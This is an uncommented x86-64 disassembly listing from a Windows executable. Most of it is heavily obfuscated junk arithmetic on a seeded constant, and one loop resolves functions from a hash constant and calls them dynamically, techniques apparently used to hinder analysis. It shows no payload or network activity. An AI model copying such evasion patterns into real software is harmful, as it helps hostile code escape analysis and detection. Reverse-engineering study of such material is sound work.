add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140047ed5
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140047ea6
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140047fd2
nop
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140047ecc
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140047eb0
jmp 0x140047fd2
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140047f46
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140047fd2
nop dword [rax]
nop dword [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140047f33
dec eax
jmp 0x140047f35
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140047f10
jmp 0x140047fd2
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140047fd2
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140047fd2
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140047fb3
inc eax
jmp 0x140047fb5
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140047f90
mov rbx, r15
mov dword [0x1400dd290], 1
cmp qword [0x1400dd288], rbx
jbe 0x140048039
nop dword [rax + rax]
mov edx, 0xf
mov r8d, 0x8687ce53
lea r9d, [rdx + 0x43]
call fcn.14000b050
lea r9, [0x1400dd280]
mov qword [rsp + 0x28], r15
lea r8, [0x140055600]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x1400dd280]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x1400dd288]
jb 0x140047ff0
mov dword [rsp + 0x30], 0x76fd16
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400480a6
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140048079
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x1400481a2
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14004809d
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140048081
jmp 0x1400481a2
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140048116
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x1400481a2
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140048103
dec eax
jmp 0x140048105
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x1400480e0
jmp 0x1400481a2
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x1400481a2
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x1400481a2
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140048183
inc eax
jmp 0x140048185
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140048160
lea rax, [rbp - 0x58]
mov qword [rbp - 0x58], r15
lea rcx, [rbp - 0x58]
mov qword [rbp - 0x50], rax
call fcn.14004ef40
call fcn.14000c250
xor ecx, ecx
call fcn.14000cc60
call fcn.140041e30
sub eax, 0xa
cmp eax, 1
ja 0x14004865f
lea rcx, [rbp - 0x68]
call fcn.140036480
test eax, eax
je 0x14004865f
mov dword [rsp + 0x30], 0x76fd16
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140048255
mov ecx, dword [rsp + 0x30]
mov eax, dword [rbp - 0x68]
add eax, 2
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140048228
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140048352
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14004824c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140048230
jmp 0x140048352
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x1400482c6
mov eax, dword [rbp - 0x68]
add ecx, 2
add eax, 3
imul eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140048352
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x1400482b3
dec eax
jmp 0x1400482b5
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140048290
jmp 0x140048352
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140048352
mov eax, dword [rsp + 0x30]
mov ecx, dword [rbp - 0x68]
add eax, 0xb
cdq
add ecx, 0x17
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140048352
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140048333
inc eax
jmp 0x140048335
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140048310
mov dword [rsp + 0x30], 0x76fd16
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x1400483b5
add eax, 2
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
jne 0x1400484b2
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x1400483ac
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140048390
jmp 0x1400484b2
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
je 0x140048416
mov eax, dword [rsp + 0x30]
add eax, 2
lea eax, [rax + rax*2]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140048403
dec eax
jmp 0x140048405
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x1400483e0
jmp 0x1400484b2
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x1400484b2
mov ecx, dword [rsp + 0x30]
mov eax, 0xb21642c9
add ecx, 0xb
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], edx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x1400484b2
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140048493
inc eax
jmp 0x140048495
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140048470
mov rbx, qword [rbp - 0x68]
test rbx, rbx
je 0x14004865f
nop
mov rdx, rbx
lea rcx, [rsp + 0x78]
call fcn.14003fbb0
mov rdx, rax
xor ecx, ecx
call fcn.1400558b0
mov rcx, rbx
call fcn.140035440
mov r9, rax
mov dword [rsp + 0x30], 0x76fd16
mov r8d, dword [rsp + 0x30]
mov eax, 0x55555556
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
je 0x140048555
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, r9d
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140048526
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140048652
nop
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14004854c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140048530
jmp 0x140048652
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x1400485c6
add ecx, 2
lea eax, [r9 + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140048652
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x1400485b3
dec eax
jmp 0x1400485b5
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140048590
jmp 0x140048652
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140048652
mov eax, dword [rsp + 0x30]
lea ecx, [r9 + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140048652
nop dword [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140048633
inc eax
jmp 0x140048635
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140048610
mov rbx, qword [rbx + 0x20]
test rbx, rbx
jne 0x1400484c0
call fcn.140041e30
sub eax, 0xa
test eax, 0xfffffffd
jne 0x140048673
call fcn.14004d830
xor ecx, ecx
call fcn.140055a30
test eax, eax
je 0x140048683
call fcn.140055a50
mov ecx, 1
call fcn.140055a30
test eax, eax
je 0x140048696
call fcn.140055a50
call fcn.14004e620
call fcn.14004dfe0
call fcn.14004eaa0
call fcn.14004e660
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 1
mov rcx, qword [rbp + 0xa20]
xor rcx, rsp
call fcn.14007e7e0
lea r11, [rsp + 0xb70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret